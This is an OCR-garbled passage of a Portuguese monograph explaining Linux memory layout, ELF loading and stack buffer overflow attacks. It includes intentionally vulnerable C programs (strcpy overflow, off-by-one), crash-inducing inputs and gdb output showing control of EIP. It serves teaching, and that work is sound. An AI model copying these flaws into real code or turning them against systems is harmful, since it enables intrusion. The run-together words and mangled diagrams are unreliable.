¢ Notificagdesasgncronas um ustario podeerviar um sinaldeinterrup@o SIGINT para
um process@o pressionaCTRL-C emumterminal,

e Errossincronosou exce®es o kernelpodeerviar o sinal SIGSEGVparaum processo
qguandeeletentaracessaumaregiao demenbriaemumendereo ilegal.

O gerenciamentde menbria &€ consideradm trabalhomaisdificil realizadopor um kernel
Unix. OssistemadJnix recentegsornecenumaalkstracgdochamadanendriavirtual. A menobria
virtual agecomoumacamaddogicaentreasrequisi®esde menbria feitaspelaaplica@oe a
unidadede hardware de gerenciamentale menbria (memorymanagementunit). A menbria
virtual possuimuitospropositose vantagen$BOVET; CESATI, 2003):

. Diversospr ocessospodem serexecutadosconcorrentemente

e E possvel rodar aplicagdesque requerem memorias bem maioresdo que asfisica-
mentedisponiveis,

e Processogodem executar um programa que possuium codigo parcialmente car-
regadona memoria;

e Cadaprocessdem apermissao deacessaium subconjuntoda memoéria fisicadisponivel;

e Processopodemcompartilhar uma tnicaimagemde memoria de um programaou
biblioteca;

e Programaspodemestarlocalizadosem qualquer lugar na memoria fisica

e Programadorespodemescrever codigosindependentede maquina, ja que ndo pre-
cisamsepreocuparcom a organiza@o fisicada memoéria.

A principalcaracteisticademenbriavirtual € anogio deespgo deendereamentovirtual.
O conjuntode refeénciasde menbria que um processgodeusaré diferentedos endereos
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fisicosde membria. Quandoum processaisaum endereo virtual, o kernele aMMU ! trabal-
hamjuntosparaidentificaralocaliza@ofisicado item desejadoA menbriavirtual tamkemse
preocupamresoler problemagie fragmentaéo demenbria (BOVET; CESATI, 2003).

Os kernelsUnix possuemum subsistemajue tentasatisfizeras requisidesde areasde
mendria de todasas partesdo sistema,chamadode Kernel MemoryAllocator (KMA). Um
bomKMA deve ter as sguintescaracteisticas(BOVET; CESATI, 2003):

dewe serrapido, ja que € chamadopor todosossubsistemasio kernel;

e deve minimizar a perda de memoria;

dewe tentar reduzir o problemade fragmentacdo dememobria;

devesercapazdecooperarcomosoutrossubsistemagsle gerenciamentode memoria.

ExistemdiversosKMAs, quesaobaseadosmalgoritmosdiferentesentreeleseso(BOVET;
CESAT1, 2003):

Resourcemapallocator,

Buddysystem

Mach's Zoneallocator,

Dynis allocator;

Solaris’s Slaballocator.

O KMA do Linuxutiliza um SlabAllocator emcimade um buddysystem

Num Unix, o espao de endereamentode um processoconem todos os endereos de
menoriavirtual queo process@ permitidoreferenciar O kernelgeralment@armazena espao
de endereamentovirtual de um processaomoumalista de descritoresle areade menoria.
Porexemplo,quandoum processanicia a execu@o dealgumprogramavia umachamadale
sistemadafamilia "exec()”, o kernelassociaao processaim espao de endereamentovirtual
guepossuiareaspara(BOVET; CESATI, 2003):

e 0 codigo executivel do programa;

e osdadosinicializados do programa;

MemoryManagementUnit
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osdadosnao-inicializadosdo programa;

a pilha inicial do programa;

o codigo executivel e dadosde bibliotecasnecesaérias;

a heap(a memobria requisitadadinamicamentepelo programa).

Todosossistema®peracionaisinixrecenteadotanumaestraégiadealocga@o demenbria
chamadade pagingé@o por demanda.Com a pagina@o por demandaum processgodeini-
ciar um programacom nenhumade suaspaginasnamenbria. Quandoele acessaimapagina
guenao esh presentea MMU geraumaexce@o, o tratadorde exce@o encontraa regiao de
menvria afetada,alocauma paginalivre e ainicializa com os dadosapropriados. O Unix
tamkEm suportao usode areasde troca (swapareag paraextendero tamanhodo espao de
endereamentovirtual utilizadopelosprocesso$BOVET; CESATI, 2003).

2.6.8 LINUX

O Linuxéummembrodavastafamilia desistema®peracionai®)nix-like. Foi inicialmente
desenmolvido por Linus Torvaldsem1991comosendaum sistemgparacomputadorebaseados
no Intel386 Naoé um sistemaoperacionatomercial possuindaseucodigofonte liberadosob
alicenga GNU' Public License Tecnicamente Linux & um kernel Unix, e n&o um sistema
operacionalUnix, pois ele nao inclui as ferramentasbasicasincluidasem um Unix-like. O
Linux & compatvel como padi@o IEEE POSIX,incluindotodasascaracteisticasde um Unix,
comogerenciamentale menoria, suportea sistemade arquivos, processo® threads sinais,
comunicadointerprocessacgntreoutrasfuncionalidade¢BOVET; CESATI, 2003).

O Linuxpossuilgumaduncionalidades comelacoaoskernelsUnix tradicionaig BOVET;
CESATI, 2003):

e kernel monolitico: & um programaextensoe compleo, compostode diversoscompo-
nentediferentes;

e kernel compilado e estaticamentelinkado: possuisuportea remo@&o e inser@o de
codigosdo kernel (tipicamentedevice drivers), quetambem sao chamadogie modulos.
PossutamiEemumacaracteisticade carreggar modulospor demanda;

2www.gnu.og
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kernel threads umakernelthread & um contexto de execu@o que podeserescalonado
independentementppdendastarassociad@um programade usLario, ou executarape-
nasalgumadungdesdo sistemaA trocadeconteto entrekernelthreadssaobemmenos
custosaslo quetrocasentreprocesso®rdinarios, porqueelasoperamemum espao de
endereamentocomum. O Linux utiliza kernelthreadsapenagaraexecutarfuncbesdo
kernel e nao executarprogramagde uslario. Paraexecutarprogramasie ustario com
variasthreads o Linux nao utiliza kernel threadsparaesseproposito, masatravés da
chamadale sistemd clone(), preserandoascaractersticascomunsde umathread

kernelnao-preempfivel: o kernelndaopermitequethreadssejaminterrompidagnquanto
esBloemmodoprivilegiado™;

computadoresmultipr ocessadaso kerneldo Linux suportaSMP, permitindoqueem
sistemasom variasCPUs,cadaCPU executequalquertarefa, semdiscriming@o entre
elas;

sistemasde arquivos o Linux suportavariossistemasle arquivos,gra@sa suatecnolo-
giaorientadaaobjetosde VFS!®, permitindoqueinclusdesde novossistemasiearquivos
naosuportadosetorneumatarefafacil. Entreossuportadogsto: ext2, ext3, ReiserFS,
IFS e XFS.

Por nao sofrerrestridese condidesimpostaspelo mercado o Linux possuias sguintes
vantagengntreosseusivais (BOVET; CESATI, 2003):

Linux é gratuito;

Linux possuicomponentegotalmente customizaveis gra@sa GNU PublicLicenseé
poss$vel obtero codigofonte e modifica-lo, senecesario;

Linux rodaem plataformas diferentese até mesmoem plataformas obsoletascomo
0 Intel386;

Linux possuium padrao dequalidade no codigofonte: fazendacomqueseussistemas
setornemesavweis;

Linux & um kernel pequena é poss$vel colocaro kernele programagundamentaiem
um Unicodiscode 1.44MB;

BEssarestrigiofoi remavidano kernel2.5 e setornaé padéo
l4Symmetrianultiprocessing
B\frtual file system
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e Linux écompafivel com muitos sistemasoperacionaisconhecidos ele permiteacesso
asistemasiearquivosdo Windows, por exemplo,permitequesecomuniquecomvarios
tiposderedesentreelesEthernete TokenRing, e, utilizandodeterminadabibliotecasg
poss$vel executaraplica®esde outrossistemasperacionaisgomo Windows, MS-DOS
e XENIX;

e Linux &bem suportado: por possuirdeserolvedoresespalhadopelo mundotodo, de-
vicedrivers paraLinux saodisponibilizadosemanasiepoisquenowos produtosde hard-
wareforamintroduzidosno mercado.

2.6.9 ESTADO INICIAL DE UM PROCESSCEM MEMORIA

Os binarios utilizados(por pad&o) no Linux s&o do formatoconhecidocomoELF6. Ele
foi deserolvido pelo Unix Systeniaboratoriese podeserconsideradaomoo formatomais
utilizado pelossistemasperacionaidJnix-like. O ELF defineo formatodosarquivos-objetd’,
sendodetréstiposprincipaisGTANDARD, 1995):

e arquivo-objetorelocavel (.0): possuidadose cdigosquepodemserusadogparaserem
ligadosa outrosarquivos-objetoparacriar um executivel ou um arquivo-objetocompar
tilhado.

e arquivo executivel (o binario): armazenaim programaapropriadgaraexecu@o.

e arquivo-objeto compartilhado (.s0): armazenaddigose dadosparaseremligadosem
dois contetos. Primeiro, o editor de ligagdo podeutiliza-lo com outro arquivo-objeto
relocavel ou arquvo-objetocompartilhadgparacriar um novo arquivo-objeto. Depois,
o ligadordinamicopodeutiliza-lo comum arquivo execufivel e outrosarquivos-objeto
compartilhad@aracriar umaimagemde processo.

Osarquivos-objetgarticipamnaligagdo deprogramagouseja,naconstry@o deumprograma)
e haexecu@o deum programa.

Quandoum programaé executadono Linux, a execu@o em baixo-rivel, é feita atrasées
da chamadade sistemasysexecve() Comoa maioriadasexecudessero feitas atrasés do
interpretadode comandosa Tabelad mostraos passo®rvolvidosnacargadeum binario ELF
emmenbria (BOLDYSHEV, 2000).

18ExecutableandLinking Format
7arquivos-objetosio representgiesbinariasde progranmas aptosa seremexecutadogliretamenteno proces-
sador
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Tabelad: Passosrvolvidosnacaga deum binario ELF

Funcao Arquivo do kernel Comentarios

shell naoha 0 USLArio executao programa
execve() naoha ashellchamaafungcao dalibc
sysexecve() arch/i386/lernel/process.c cheganapartedo kernel
do_execve() fs/exec.c abreo arquio e fazalgumagpreparades
seach_binary_handler() fs/exec.c determinao tipo do executvel

load_elf_binary()

start thread()

fs/binfmt elf.c

include/asm-i386/processbr

le 0 ELF e cria o segmentode usLario
passa controleparao codigodo programa

Umavisao decomoum binario ELF & organizadoem menbria no Linux rodandosobrea
arquiteturantel IA-32 podeservisto naFigural3 (BOLDYSHEYV, 2000):

0x08048000

secdn text (cddigo do programa)

seqdn data (dados inicializados)

segdan (bss (dados nio-iniclalizados)

espaco livre (heap)

stack pilha (descrita adiante)
arguments argumentos do programa
environment varidveis de ambiente do programa

program name

nome do programa (duplicado na parte de argumentos)

null { dword)

final dword (2ero)

O0xBFFFFFFF

Figura 13: Layoutemmenobriadeum binario ELF

Alemdisso,a pilha tamkem possuiumasubdvisao pré-determinadacomopodeservista

naFigural4:




arge [dword] contador de argumentos {inteiro)
.'argr[i:il. [dword] nome do programa {ponteino)
“argvl1]
[dword] argumentos do programa (ponteiros)
argvlargc-1]
NULL [clword] fim dos argumentos {inteira)
env[0]
envl1]
[dword] varidveis de ambiente (pontsiras)
envinl
‘NULL [dword] Hm das varidvels de ambiente (inteira)

Figura 14: Divisao dapilha
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No Linux, o arquivo que armazenasfungdesresponaweis por carregar um binario ELF

paraa menbria selocalizaem: /usr/src/linux/fs/binfmt _elf.c
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3 TECNICAS DE EXPLORAG AO DE FALHAS DE ESTOURO DE BUFFER NA
PILHA

3.1 INTRODUCAO

Nestecaptulo veremo® queé umafalhadeestouradebuffer napilhae quaoprejudicialela
podeserseexploradapor um ustario mal-intencionadoExistemvariostextos sobreo assunto,
entreeles’a refeéncia” escritapor (ONE, 1996)queinspiroua elabora@odestamonografia.

3.2 PASSAGEM DE PARAMETROSEM C

A passagerde paametrosialinguagentC éfeitaatrasesdo empilhamentalasvariaveisna
pilha,dadireitaparaaesquerdaaordememqueaparecenmachamadalafuncao. Alémdisso,
cadavez que umafuncdo & chamadap pro6logo dafuncao & executadoantesdo seucodigo
interno. Depoisque a fungao termina, masantesdo controleserretomadopelo chamadagro
epilogo é executado.O prologode umafuncao segueabaixo(sintaye assemblyntel):

PUSH EBP
MOVEBP, ESP

O proélogo € responéwel por sahar o valor atualdo EBP (ponteiroparaa baseda pilha
atual)napilhae entiofazercomqueo ESP(ponteiroparao topodapilha) setorneo novoEBP
Podeserguehajaumasubtra@oemESPpararesenar espao paraasvariaveislocais,masisso
dependalafuncao. Comisso,o EBP setornarefeenciaparaa utilizacao dos paametrosda
funcaoetamkemdasvariaweislocais(sehouwer). O eplogo deumafungdo segueabaixo:

MOVESP, EBP
POP EBP
RET

O eplogo fazcom que o EBP setorneo novo ESR removendoo espao utilizado pelas
variaweis locais da funcao, restaurao EBP que foi salvo na pilha pelo proélogo (restaurando
destaformao quadrode pilha anterior),e chamaa instru@o RET queseencarrga deretiraro
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endereo deretornoquefoi armazenadaapilha,armazenando-ooregistradorElP, permitindo
gueafuncaochamadoraontinuesuaexecu@o.

O exemploemC abaixo juntamenteeomo seucodigoemassemblypermitequeo entendi-
mentodo layoutdapilha figue maissimples,ilustradonaFigural5:

/I teste.c: programa simples para demonstrar 0 funcionamento da pilha nas
/I chamadas de procedimentos

/l  Carlos Eduardo Pedroza Santiviago <ceps@redes.unioeste-foz.br>

#include  <stdio.h>

void teste(int a, int b, int ¢
{
int var;
char buffer[10];
}
int  main(void)
{
teste(1,2,3);
return(0);
}

Agoraseucodigoemassemblyquandorealizaa chamadaa funcao"teste”:

; par ametros empilhados da direita para a esquerda

push 3

push 2

push 1

call teste ; quando um call e feito, automaticamente 0 enderec,0 da
; pr oxima instruc ,ao e empilhado (return)

; agora, dentro de teste(), e feito o prologo

push ebp

mov ebp, esp

sub esp, 16 ; 16 bytes reservados para vari aveis locais 10 buffer +
; 4 do inteiro int = 14, porem a pilha so trabalha com
; multiplos de 4

; ao retornar para func ao main()

mov esp, ebp ; restaura o quadro de pilha anterior

pop ebp

ret ; aqui em ret, e feito um pop eip, que restaura o end. de retorno
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endereco mais alto
dados anteriores
3
2
1

endereco de retorno
frame pointer salvo

war
buffer
endereco mais baixo

-4}— EEF

-o— ESP

Figura 15: Registrodeativagao (stackframe)do programd'teste”

O formatodapilha acimatamlEmeé conhecidoccomoRegistro de Ati vagao.
3.3 ATAQUESCONTRAOREGISTRO DE ATIVACAO

A utilizacdo do Registro de Ativacao facilita a implementagéo e utilizacao defuncgbes
(procedimentos)e sao comumentearmazenadosa pilha. Pom, existem casosem que a
implementagéo deumalinguagemespedica exija quealgunscampogsio Registro de Ati vacao
sejamarmazenadososregistradoreslo processadofAHO; SETHI; ULLMAN , 1988).

Basicamenteym Registro de Ati vacao tipico de um programacodificadonalinguagemC
rodandono sistemaoperacionalinux, aochamamumafuncaoé o seguinte:

endereco mais alto

dados anteriores
parametros
endereco de retormo
frame pointer salvo
variaveis locais
endereco mais baixo

Figura 16. Registrode ativagao (stackframe)tipico numachamadale funcao

OscampogdaFiguraacimapodemserdescritodaseguintemaneira:

e dadosanteriores: representas dadosque ja esteam armazenadosa pilha antesda

funcaoserchamada.

e parametros: € o espao ondeospa@metrogaraa funcaochamadaio ewiados.Todos
os dadosernviados(colocads na pilha) devem ser miltiplos do tamanhoda palasra do

processadoqueno nossocasosao4 bytes



46

e endere deretorno: armazena endereo que deve serretomadoapds o terminoda
funcdoqueseid executada.

e baseda pilha anterior (frame pointer salw): quandoumafungao é chamadagladeve
possuirum quadrode pilha proprio, queé feito pelo prologa Pom, guandoa funcao
termina,eladeve restauraio quadrode pilha anterior e devido aisso,essevalor tamkem
e armazenadoapilha.

e variaveislocais: espao resenadoparaa utilizacao devariaweislocaisdertro dafuncao
chamada.

OscampossombreadodaFigural6 sioosmaisimportantegparao nosscestudo Elessao
osalvosprincipaisparaseconsguir alteraro fluxo deexecu@o deumaaplica@ovulneravel a
umafalhade buffer overflow; e emconsedjénciadissoexecutarum codigoarbitrario.

Parafacilitar o entendimentale um ataquede buffer overflowcontradadosdo Registrode
ativagao,osdescrgeremosaorespondeduasperguntas:

e Comoo controle é capturado?

e Para ondeo controle & erviado?

Nas subsedesa seuir, 3 tipos de ataguescontradadosarmazenadogsa pilha serdo de-
scritos:

e estouro na pilha (stak smash: acontecequandoum buffer &€ estouradale tal maneira
guecorrompapraticamentéodosos dadosde um Registrode ativacio.

e estouro de erro-por-um na pilha (stadk off-by-ong: quandoapenasum byte alemde
um buffer & estouradogcorrompenda Ultimo bytearmazenaddabasedapilha anterior

e alteracdo de \ariaveislocais: dependenddasitua@o, podenao serpossvel atingir os
alvos principaisdo Registro de Ativagao, porem,sehouver a possibildade de corromper
outrosdadosaindaha apossibilidadale execu@o decodigoarbitrario. Taisdadospode-
riam ser por exemplo,ponteirosparafuncao.

3.3.1 ESTOURO NA PILHA (STACK SMASH

Comoo controle é capturado?
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Ao secons@uir realizarum ataque de estourona pilha, tem-seo objetivo de corrompero
Ragistro de Ativacao detal maneiraque sejaposs$vel alteraros dadosarmazenadoso campo
endereg deretorno, daFigural6.

Para ondeo controle & erviado?

Como endere de retorno alteradoé poss$vel erviar o controledo programaparauma
areademenriaondeum codigoarbitrario estarmazenadau seja,0 atacantgassaatertotal
controlesobreo programaatacado.

3.3.2 ESTOURO DE ERRO-POR-UMNA PILHA

Comoo controle é capturado?

Existemcasoemqueapenasimbytealemdeum buffer armazenadoapilhaé sobrescrito.
De acordocom o layoutdo registro de ativacgdo naFigural6, € possvel atingir o Gltimo byte
do campochamaddaseda pilha anterior. Estetipo defalhaé comumquandoo programador
cometeequvocosao calcularo alcancedeum loop, por exemplo.

Para ondeo controle & erviado?

Comoo endereo dabaseda pilha anterior foi modificado,quandoa fungaoretornar e o
epilogo retirar da pilha o endereo salw, dadosinconsistentepodego fazerparteda funcao
chamadoraja queo endereo basedasuapilha atualfoi alterado.

3.3.3 ALTERACAO DE VARIAVEIS LOCAIS

Comoo controle é capturado?

Nestecasocomo nao & poss$vel corromperos alvos no registro de ativacgo, objetiva-se
alteraro contdidode outrostiposde variaveis,comopor exemplo,ponteirosparafuncao. Pon-
teirosparafuncao nadamaissao do quevariaveis quearmazenanum endereo de codigoque
seencontrano segmentode menbria conhecidacomo.text, ilustradonaFigural3.

Para ondeo controle & erviado?

Ao sesobrescreer umavariavel do tipo ponteiroparafuncao, &€ possvel fazercom que
guandoa funcao apontadgelo ponteirosejaexecuada, naverdadevenhaa executaro codigo
arbitrario queo atacanteerviou parao programaatacado.
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3.4 EXEMPLOSDE APLICACOESVULNERAVEIS

Na se@o anteriorforam explicadosos tipos de ataquesexistentescontraos registrosde
ativac@do deumaaplica@o vulneravel. Poem, & necesario saberquaisos motivos quefazem
comqueum buffer sejaestourado.

Na linguagemC strings sao manipuladastraszés de um ponteiroparao endereo do seu
primeiro byte Pordefinicdo dalinguagemguandoseprocessaimastring esseprocessamento
nao paraaté que sejaencontradaum caractereespecialconhecidocomoNULL que defineo
seutérmino. Sema utilizacao dessecaractereou outro tipo de identificadornao seriapossvel
determinam quantidadele menbria quefoi alocadgparaessastring.

Devido aisso,sefor copiadoparaessastring dadosnaioresdo queo seutamanhaalocado,
um estouroda string (ou buffer) ocorree dadosadjacentes essastring sao sobrescritos.Por
exemplo,supondogueexistamtrésstrings uma como contdido”ola”, outracomo contdido
"legal”, e outracom o contdido "paranoia”, elasficariam assimem menbria ("0” indicao
caractereNULL):

of | a"uDIega‘I \d
String & 5String B

plalriain] afila]\0

String C

Figura 17: Strings”A”, "B” e"C".

A Figuraacimasume quea string "B”, est armazenaddogo apds a string "A”, e sea
string"C” for copiadaemcimadastring”A”, semutilizar nenhumaverifica@o delimite, o que
acontecepodeservisto nafiguraabaixo:

paraﬂnii 4%0&
String & 5String B

plalriain] afila]\0

String C

Figura 18: String”A”, sobrescree o contdidodastring"B”.

Comopodeservisto, o queocorreufoi umoverflowdastring”A” nastring”"B”.
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Tabela5: PrincipaisfungdesinsegurasdabibliotecaC

Funcao | Risco Motivo

gets() Alto O buffer dedestinopodeserestourado
strepy() Alto O buffer dedestinopodeserestourado
strcat() Alto O buffer dedestinopodeserestourado
sprintf() Alto O buffer dedestinopodeserestourado
scanf() Alto O buffer dedestinopodeserestourado

strncpy() | Médio | Verificarseo tamanhado destinoé suficienteparaa entrada’n”
strncat() | Médio | Verificarseo tamanhado destinoé suficienteparaa entrada’n”
getc Médio Ao utilizar numloop o buffer destinopodeserestourado

fgets() Baixo | Verificarseo tamanhado destinoé suficienteparaa entrada’n”
snprintf() | Baixo | Verificarseo tamanhalo destinoé suficienteparaa entradd’n”

Alem disso, a linguagemC possuirotinas de tratamentode strings que sao inseguras,
disponibilizadasom a suabibliotecapadi@o. Limitesde arrays e de refeenciasa ponteiros
nao sao checadosutomaticamentdicandoa calgo doprogramadorealizaressaverifica@o.

A Tabela5 mostraas principaisfungdesinsegurasjuntamentecom seusriscose porque
saoperigosagGILLETTE, 2002). Apesarda Tabelapossuirpartedasfungdesinseguras,o que
precisaficar bemclaro € quesempreque houwer entradade dadosdo usiario deve-sepossuir
umaverifica@origorosa,poisosuslariosmal-intencionadoprocuramfalhasemocasbesque
osprogramadoresaotomaramosdevidoscuidados.

3.4.1 APLICACAO VULNERAVEL A STACK SMASH

A aplica@oa seguir chamadale vulnl.cutiliza umadasfungdes’inseguras”dabiblioteca
padi&o C. Supondoque o programadonao tomouos devidos cuidadosparavalidar a entrada
dedadostornouaaplica@ovulneravel a buffer overflow

/*

* vulnl.c: Aplicac ,ao simples vulner avel a buffer overflow

* Carlos Eduardo Pedroza Santiviago <ceps@redes.unioeste-foz.br>
* jan/2004.

* para compilar: gcc -0 wvulnl wvulnl.c

*/

#include  <stdio.h>

#include  <string.h>

void cadastra(char *nome)

{

char usuario[64];
strcpy(usuario, nome); /[ I
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/I realiza  algum tratamento com usuariof]...

printf("Usuario %s cadastrado\n", usuario);
}
int  main(int argc, char *argv[])
{
cadastra(argv[1]);
return(0);
}

O problemano codigo anterioré queele utiliza a fungao strcpy que nao permiteque seja
informadoa quantidadede bytesque se desejacopiar da string origem (no caso,a variavel
nome)paraa string destino(no caso.avariavel usuario).Umaexecu@o”normal” do programa
vulnl, podeservisto abaixo:

$ ./vulnl teste
Usuario teste cadastrado!

O layout em men®ria da pilha do programaacima,antesde chamara fungcdo printf, € o

seguinte:
dados anteriores
endereco de retorno
base da pilha anterior
EEF —i
LISLUAND —j-
(54 bytes]
|l|'.|:|| IEI
1 1 ] 1 1 i Itl
e L | 25 1 8

Figura 19: Layoutemmenoriado registrode ativacgdo (stadk frame dafuncio cadasta()

Pom,um ustario mal-intencionad@oderiater aidéiade aocinvésdefornecero seunome
corretoparaa aplica@o, forneceruma quantidadesnormede caracteregno nossoexemplo,
umagquantidademaiorque64 byteg o queacabariaesultandao estourodastring "usuario” e
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emconsegénciadisso,sobrescreer osdadosarmazenadoso Registro de Ativacdo. A sdda
abaixorepresentaal agio:

$ Jvuinl  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAA

Usuario AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAdastrado!

Segmentation  fault (core dumped)

Comopodemogperceberapds a funcao printf ter sido chamadaecebemosimasddana
telacomo contdido” Segmentatiorfault (core dumped). Estamensagensereferea um erro
de acess@m umaregiao demendria invalida. Paraentenderporquehouwe um acessa uma
regiao demenbriainvalidaé necesario visualizaro layoutdapilha depoisde clamara funcao

strepy:
dados anteriores
0x41414141
0x41414141

EEBP —= L
IAI IAI |A| .Iljl.

I.lt".l I.lt".l I.II:'\I IAI

I.IEI'.I IAI IAI IAI

IAI IAI IAI I.I"-I".I

I.II:'\I I.II:".I IAI IAI

IJ:I\I Iﬂl:lﬂl IJ!'\I |.‘:|"|

IAI IAI Iﬂlj'.l |A|

usuario —j .A. .A. .A. i

(64 bytes) e

|A| IAI I-ltll.l IAI

IAI I:ltll.l IAI IJE"-I

|l.|:|"| IAI IJ:II.I IAI

IJ:I\I Iﬂl:lﬂl IJ!'\I |l.|:|"|

IAI I:lll'l.l |A| IAI

I.lﬁl.l I.lﬁl.l IAI l.ﬂ'l

(e T I IAI

ESP —i A A E

Figura 20: Layoutemmenoria do registrode ativacgdo (stadk frame corrompidodafuncao
cadasta()

A Figuraacimanos permite concluir gue ao copiar o contdido da variavel "nome” para
a variavel "usuario”, sobrescreeu-seboapartedo Registro de Ativagado, inclusive aregiao

chamadandere@ deretorno (Se@o03.3).
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Sempregueumacess@umaregiao demenoriainvalidaéfeito, o kerneldetectae erviaum
sinaldetérminoparao processqdSIGSEGY), e juntamentecomo seutérmino,é despejad@m
um arquivo chamadacore o contdido de mendria no pontoemgueo programafoi terminado
(porissoa mensageni(core dumped)).

Gra@sa isso, podemosanalisaro que houwe durantea execu@o, utilizandoo dehugador
conhecidacomogdh

$ gdb -g vulnl core

Core was generated by ‘./vulnl AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA',
#0 0x41414141 in ?? ()

(gdb) i r

eax Oxf3 243

ecx 0x401547a0 1075136416
edx Oxf3 243

ebx 0x401569a8 1075145128
esp Oxbffff150 Oxbffff150

ebp 0x41414141 0x41414141
esi 0x40014120 1073824032
edi Oxbffff1b4 -1073745484
eip 0x41414141 0x41414141
eflags 0x10286 66182

cs 0x73 115

SS 0x7b 123

ds 0x7b 123

es 0x7b 123

fs 0x0 0

gs 0x0 0

O comandd’i r" numase@o gdbnosinforma o contdido dosregistradoresge juntamente
como arquio core temoso estadodosregistradoresno momentoem queo programafoi ter-
minado.

Analisandoa sdda do delugador pode-seperceberque dois registradoresde sumaim-
portanciaparaa execu@o deum programaforamalteradosebpe eip. Ambospossueno valor
0x41414141queemhexadecimakignificao valor natabelaASCII do caracteré A”. Sabendo
disso,podemogoncluirque,aoestouramstring "usuario” do programavulnl, podemoslterar
o contdidodo endere@ deretorno salvo no Registro de Ati vacao e emconsegénciadisso,
ao serexecutadoo eplogo controlamoso valor que sei colocadono registradoreip, ou seja,
tem-setotal controlesobreo programaatacado.
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3.4.2 APLICACAO VULNERAVEL A OFF-BYONE

Nestetipo de vulnerabilidade,apenasum byte alem de um buffer & estourad, sobre-
screvendodestaformao byte menossignificatvo docampobaseda pilha anterior doregistro
deativacdo (Se@03.3). O programavulneravel € o seguinte:

/-k

* vuln2.c: Aplicac , ao simples vulner avel a off-by-one

* Carlos Eduardo Pedroza Santiviago <ceps@redes.unioeste-foz.br>
* compilar com: gcc -0 wvuln2 wvuln2.c

* jan/2004.

*/

#include  <stdio.h>
#include  <string.h>

void cadastra(char *nome)
{
char usuario[64];
strcpy(usuario, nome);
/I realiza algum tratamento com usuario(]...
printf("Usuario %s cadastrado\n", usuario);
}
int  main(int argc, char *argv[])
{
if(strlen(argv[1]) > 64) {
printf("Nome muito grande.\n");
exit(1);
}
cadastra(argv[1]);
return(0);
}

No codigovuln2.c acima,o programadoteve o cuidadodeverificaraentradgparaquenao
ultrapassasse tamanhototal do buffer. Poem, ele teve ainfelicidadede esqueceuetoda
string éterminadacomo caractereespeciaNULL, ou seja,existemapena$3 bytesdisporiveis
paraarmazenamentoo buffer. Algumasexecu®esdo programavuln2 podeservisto abaixo:

$ Jwuln2  teste

Usuario teste cadastrado!

$ ./vuln2 ‘perl  -e ’printf "A"X63"

Usuario AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA cadastrado!

$ ./vuln2 ‘perl  -e ’printf "A"x100"

Nome muito grande.

$ Jwln2  ‘perl  -e ’printf "A"Xx64'

Usuario AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAA cadastrado!
Segmentation  fault (core dumped)

Ao rodaro programaacima,utilizamoso utilitario perl quenospermiteerviar umaguan-
tidadede caracteresle formamaissimplesdo queter quedigitar um por um. Na sddaacima,
podemootarqueao ewiar 63 caractereparao programa,o0 mesmosaiunormalmente Ao
seremerviados 100 caracteresp programaacusouque a entradaexcedeo limite permitido.
Poem, ao seremerviados exatamenteb4 bytes, 0 programaacessowma areade menoria
invalida. Analisandaa figuraa seguir, podemoger umaidéiamelhordo quehouwe deerrado:

dados anteriores dados anteriores
end. de retorno —m Ox0B048241 end. de retorno —j Ox0B048241
base da pilha ant. —m Oxbffffd6c base da pilha ant., —p= Oxbffffdoo
— EEBP —i»
EBP Illll:':ll I-'Elll IAI |A| |-..:|‘| IAI IAI IAI
IAI IAI IAI |A| Iulljll IAI Iﬂl IAI
‘A ‘A A ‘A A A ‘A ey
IAI IAI IAI |A| IAI IAl I_l‘:'\l IAI
‘A ‘A A ‘A ‘A ‘A A Y
IAI IAI IAI |A| IAI IAl I,l':'\' IAI
IAI IAI IAI |A| IAI IAl IAI IAI
1 1 1 1 1 ] 1 ' - [ 1 [ ] 1 1 IAl
Lsuanio —m 'i' 'i' 'i' 'i' Uusuario —jm= 'i' 'i' 'i' T
64 bytes (54 bytes)
l: y't ':I IAI IAI IAI IAI }l't IAI IAI IAI |A|
I)':I(I IAI IAI I.ll:I\I IAI I,l':'\' I,l':'(l IAI
IAI IAI IAI |A| IAI IAI IAI IAI
IAI IAI IAI |A| IAI IAI I,l':'\' IAI
IAI IAI Ip':'l.l |A| IAI IA| |l.|:|‘| I)l:lﬂ.l
IAI IAI IAI |A| IAI IAI IAI IAI
ESP — ‘A A ‘A A ESP —B A A A A

Figura 21: Layoutemmendoria do registrode ativacdo dafuncdocadasta() quandoforam
passado83 e 64 bytes

Como mostraa figura acima, quandoforam erviados 64 bytes, o Gltimo byte do campo
baseda pilha anterior foi alterado.Comisso,quandoafungaocadasta() retorna,o endereo
gue é retiradoda pilha parao registradorebp apontaparaum endereo na pilha bem abaixo
do quedeveriaser Quandoa funcao main() terminaa suaexecu@o, e tamkem chamao seu
eplogo (Se@o3.1),0 conteudodo registradoreip passaa conterbytesquenaverdadesstavam
armazenadoso buffer dafungao cadastra(), poiso ebpmodificadopassola sero esp fazendo
comqueaopera@orealizadgoelainstru@o RET (pop eip), fizesseo programasaltarparaum

endereo arbitrario, comopodeservisto naFigura22:
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dados anteriocres

end. de retorno —f- Ox0B048241

base da pilha ant. —p= Oxbffffdon

B A A s
N N -
‘A A B ‘A
HEIEIRES
A A ‘A ‘A
NEIAESES
‘Al A A ‘A
LISLISMND =——f- 2 =. e 2
(64 bytes) e
i ‘A’ A ‘Al ‘A
ac ] e | oa | W
A Al A A
w o | |
ElP —m= | oa ] A oA | w
EBP —p= | AL A | A | A
Esp—pe LAL AT A A

